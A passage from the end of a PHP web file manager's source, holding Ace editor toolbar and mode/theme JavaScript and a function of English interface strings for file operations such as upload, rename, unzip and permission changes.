(Elixir)","html_ruby":"HTML (Ruby)","ini":"INI","io":"Io","jack":"Jack","jade":"Jade","java":"Java","json":"JSON","jsoniq":"JSONiq","jsp":"JSP","jssm":"JSSM","jsx":"JSX","julia":"Julia","kotlin":"Kotlin","latex":"LaTeX","less":"LESS","liquid":"Liquid","lisp":"Lisp","livescript":"LiveScript","logiql":"LogiQL","lsl":"LSL","lua":"Lua","luapage":"LuaPage","lucene":"Lucene","makefile":"Makefile","markdown":"Markdown","mask":"Mask","matlab":"MATLAB","maze":"Maze","mel":"MEL","mixal":"MIXAL","mushcode":"MUSHCode","mysql":"MySQL","nix":"Nix","nsis":"NSIS","objectivec":"Objective-C","ocaml":"OCaml","pascal":"Pascal","perl":"Perl","perl6":"Perl 6","pgsql":"pgSQL","php_laravel_blade":"PHP (Blade Template)","php":"PHP","puppet":"Puppet","pig":"Pig","powershell":"Powershell","praat":"Praat","prolog":"Prolog","properties":"Properties","protobuf":"Protobuf","python":"Python","r":"R","razor":"Razor","rdoc":"RDoc","red":"Red","rhtml":"RHTML","rst":"RST","ruby":"Ruby","rust":"Rust","sass":"SASS","scad":"SCAD","scala":"Scala","scheme":"Scheme","scss":"SCSS","sh":"SH","sjs":"SJS","slim":"Slim","smarty":"Smarty","snippets":"snippets","soy_template":"Soy Template","space":"Space","sql":"SQL","sqlserver":"SQLServer","stylus":"Stylus","svg":"SVG","swift":"Swift","tcl":"Tcl","terraform":"Terraform","tex":"Tex","text":"Text","textile":"Textile","toml":"Toml","tsx":"TSX","twig":"Twig","typescript":"Typescript","vala":"Vala","vbscript":"VBScript","velocity":"Velocity","verilog":"Verilog","vhdl":"VHDL","visualforce":"Visualforce","wollok":"Wollok","xml":"XML","xquery":"XQuery","yaml":"YAML","django":"Django"},"fontSize":{8:8,10:10,11:11,12:12,13:13,14:14,15:15,16:16,17:17,18:18,20:20,22:22,24:24,26:26,30:30}};
if(_data && _data.aceMode) { $modeEl.html(optionNode("ace/mode/", _data.aceMode)); }
if(_data && _data.aceTheme) { var lightTheme = optionNode("ace/theme/", _data.aceTheme.bright), darkTheme = optionNode("ace/theme/", _data.aceTheme.dark); $themeEl.html("<optgroup label=\"Bright\">"+lightTheme+"</optgroup><optgroup label=\"Dark\">"+darkTheme+"</optgroup>");}
if(_data && _data.fontSize) { $fontSizeEl.html(optionNode("", _data.fontSize)); }
$modeEl.val( editor.getSession().$modeId );
$themeEl.val( editor.getTheme() );
$fontSizeEl.val(12).change(); //set default font size in drop down
}
$(function(){
renderThemeMode();
$(".js-ace-toolbar").on("click", 'button', function(e){
e.preventDefault();
let cmdValue = $(this).attr("data-cmd"), editorOption = $(this).attr("data-option");
if(cmdValue && cmdValue != "none") {
ace_commend(cmdValue);
} else if(editorOption) {
if(editorOption == "fullscreen") {
(void 0!==document.fullScreenElement&&null===document.fullScreenElement||void 0!==document.msFullscreenElement&&null===document.msFullscreenElement||void 0!==document.mozFullScreen&&!document.mozFullScreen||void 0!==document.webkitIsFullScreen&&!document.webkitIsFullScreen)
&&(editor.container.requestFullScreen?editor.container.requestFullScreen():editor.container.mozRequestFullScreen?editor.container.mozRequestFullScreen():editor.container.webkitRequestFullScreen?editor.container.webkitRequestFullScreen(Element.ALLOW_KEYBOARD_INPUT):editor.container.msRequestFullscreen&&editor.container.msRequestFullscreen());
} else if(editorOption == "wrap") {
let wrapStatus = (editor.getSession().getUseWrapMode()) ? false : true;
editor.getSession().setUseWrapMode(wrapStatus);
} else if(editorOption == "help") {
var helpHtml="";$.each(window.config.aceHelp,function(i,value){helpHtml+="<li>"+value+"</li>";});var tplObj={id:1028,title:"Help",action:false,content:helpHtml},tpl=$("#js-tpl-modal").html();$('#wrapper').append(template(tpl,tplObj));$("#js-ModalCenter-1028").modal('show');
}
}
});
$("select#js-ace-mode, select#js-ace-theme, select#js-ace-fontSize").on("change", function(e){
e.preventDefault();
let selectedValue = $(this).val(), selectionType = $(this).attr("data-type");
if(selectedValue && selectionType == "mode") {
editor.getSession().setMode(selectedValue);
} else if(selectedValue && selectionType == "theme") {
editor.setTheme(selectedValue);
}else if(selectedValue && selectionType == "fontSize") {
editor.setFontSize(parseInt(selectedValue));
}
});
});
</script>
<?php endif; ?>
<div id="snackbar"></div>
</body>
</html>
<?php
}
/**
* Language Translation System
* @param string $txt
* @return string
*/
function lng($txt) {
global $lang;
// English Language
$tr['en']['AppName'] = 'File Manager'; $tr['en']['AppTitle'] = 'File Manager';
$tr['en']['Login'] = 'submit'; $tr['en']['Username'] = 'Username';
$tr['en']['Password'] = 'Password'; $tr['en']['Logout'] = 'Sign Out';
$tr['en']['Move'] = 'Move'; $tr['en']['Copy'] = 'Copy';
$tr['en']['Save'] = 'Save'; $tr['en']['SelectAll'] = 'Select all';
$tr['en']['UnSelectAll'] = 'Unselect all'; $tr['en']['File'] = 'File';
$tr['en']['Back'] = 'Back'; $tr['en']['Size'] = 'Size';
$tr['en']['Perms'] = 'Perms'; $tr['en']['Modified'] = 'Modified';
$tr['en']['Owner'] = 'Owner'; $tr['en']['Search'] = 'Search';
$tr['en']['NewItem'] = 'New Item'; $tr['en']['Folder'] = 'Folder';
$tr['en']['Delete'] = 'Delete'; $tr['en']['Rename'] = 'Rename';
$tr['en']['CopyTo'] = 'Copy to'; $tr['en']['DirectLink'] = 'Direct link';
$tr['en']['UploadingFiles'] = 'Upload Files'; $tr['en']['ChangePermissions'] = 'Change Permissions';
$tr['en']['Copying'] = 'Copying'; $tr['en']['CreateNewItem'] = 'Create New Item';
$tr['en']['Name'] = 'Name'; $tr['en']['AdvancedEditor'] = 'Advanced Editor';
$tr['en']['RememberMe'] = 'Remember Me'; $tr['en']['Actions'] = 'Actions';
$tr['en']['Upload'] = 'Upload'; $tr['en']['Cancel'] = 'Cancel';
$tr['en']['InvertSelection']= 'Invert Selection'; $tr['en']['DestinationFolder'] = 'Destination Folder';
$tr['en']['ItemType'] = 'Item Type'; $tr['en']['ItemName'] = 'Item Name';
$tr['en']['CreateNow'] = 'Create Now'; $tr['en']['Download'] = 'Download';
$tr['en']['Open'] = 'Open'; $tr['en']['UnZip'] = 'UnZip';
$tr['en']['UnZipToFolder'] = 'UnZip to folder'; $tr['en']['Edit'] = 'Edit';
$tr['en']['NormalEditor'] = 'Normal Editor'; $tr['en']['BackUp'] = 'Back Up';
$tr['en']['SourceFolder'] = 'Source Folder'; $tr['en']['Files'] = 'Files';
$tr['en']['Move'] = 'Move'; $tr['en']['Change'] = 'Change';
$tr['en']['Settings'] = 'Settings'; $tr['en']['Language'] = 'Language';
$tr['en']['Folder is empty'] = 'Folder is empty'; $tr['en']['PartitionSize'] = 'Partition size';
$tr['en']['ErrorReporting'] = 'Error Reporting'; $tr['en']['ShowHiddenFiles'] = 'Show Hidden Files';
$tr['en']['Full size'] = 'Full size'; $tr['en']['Help'] = 'Help';
$tr['en']['Free of'] = 'Free of'; $tr['en']['Preview'] = 'Preview';
$tr['en']['Help Documents'] = 'Help Documents'; $tr['en']['Report Issue'] = 'Report Issue';
$tr['en']['Generate'] = 'Generate'; $tr['en']['FullSize'] = 'Full Size';
$tr['en']['FreeOf'] = 'free of'; $tr['en']['CalculateFolderSize']= 'Calculate folder size';
$tr['en']['ProcessID'] = 'Process ID'; $tr['en']['Created'] = 'Created';
$tr['en']['HideColumns'] = 'Hide Perms/Owner columns';$tr['en']['You are logged in'] = 'You are logged in';
$tr['en']['Check Latest Version'] = 'Check Latest Version';$tr['en']['Generate new password hash'] = 'Generate new password hash';
$tr['en']['Login failed. Invalid username or password'] = 'Login failed. Invalid username or password';
$tr['en']['password_hash not supported, Upgrade PHP version'] = 'password_hash not supported, Upgrade PHP version';
// new - novos
$tr['en']['Advanced Search'] = 'Advanced Search'; $tr['en']['Error while copying from'] = 'Error while copying from';
$tr['en']['Nothing selected'] = 'Nothing selected'; $tr['en']['Paths must be not equal'] = 'Paths must be not equal';
$tr['en']['Renamed from'] = 'Renamed from'; $tr['en']['Archive not unpacked'] = 'Archive not unpacked';
$tr['en']['Deleted'] = 'Deleted'; $tr['en']['Archive not created'] = 'Archive not created';
$tr['en']['Copied from'] = 'Copied from'; $tr['en']['Permissions changed'] = 'Permissions changed';
$tr['en']['to'] = 'to'; $tr['en']['Saved Successfully'] = 'Saved Successfully';
$tr['en']['not found!'] = 'not found!'; $tr['en']['File Saved Successfully'] = 'File Saved Successfully';
$tr['en']['Archive'] = 'Archive'; $tr['en']['Permissions not changed'] = 'Permissions not changed';
$tr['en']['Select folder'] = 'Select folder'; $tr['en']['Source path not defined'] = 'Source path not defined';
$tr['en']['already exists'] = 'already exists'; $tr['en']['Error while moving from'] = 'Error while moving from';
$tr['en']['Create archive?'] = 'Create archive?'; $tr['en']['Invalid file or folder name'] = 'Invalid file or folder name';
$tr['en']['Archive unpacked'] = 'Archive unpacked'; $tr['en']['File extension is not allowed'] = 'File extension is not allowed';
$tr['en']['Root path'] = 'Root path'; $tr['en']['Error while renaming from'] = 'Error while renaming from';
$tr['en']['File not found'] = 'File not found'; $tr['en']['Error while deleting items'] = 'Error while deleting items';
$tr['en']['Invalid characters in file name'] = 'Invalid characters in file name';
$tr['en']['FILE EXTENSION HAS NOT SUPPORTED'] = 'FILE EXTENSION HAS NOT SUPPORTED';
$tr['en']['Selected files and folder deleted'] = 'Selected files and folder deleted';
$tr['en']['Error while fetching archive info'] = 'Error while fetching archive info';
$tr['en']['Delete selected files and folders?'] = 'Delete selected files and folders?';
$tr['en']['Search file in folder and subfolders...'] = 'Search file in folder and subfolders...';
$tr['en']['Access denied. IP restriction applicable'] = 'Access denied. IP restriction applicable';
$tr['en']['Invalid characters in file or folder name'] = 'Invalid characters in file or folder name';
$tr['en']['Operations with archives are not available'] = 'Operations with archives are not available';
$tr['en']['File or folder with this path already exists'] = 'File or folder with this path already exists';
$tr['en']['Moved from'] = 'Moved from';
$i18n = fm_get_translations($tr);
$tr = $i18n ? $i18n : $tr;
if (!strlen($lang)) $lang = 'en';
if (isset($tr[$lang][$txt])) return fm_enc($tr[$lang][$txt]);
else if (isset($tr['en'][$txt])) return fm_enc($tr['en'][$txt]);
else return "$txt";
}
?>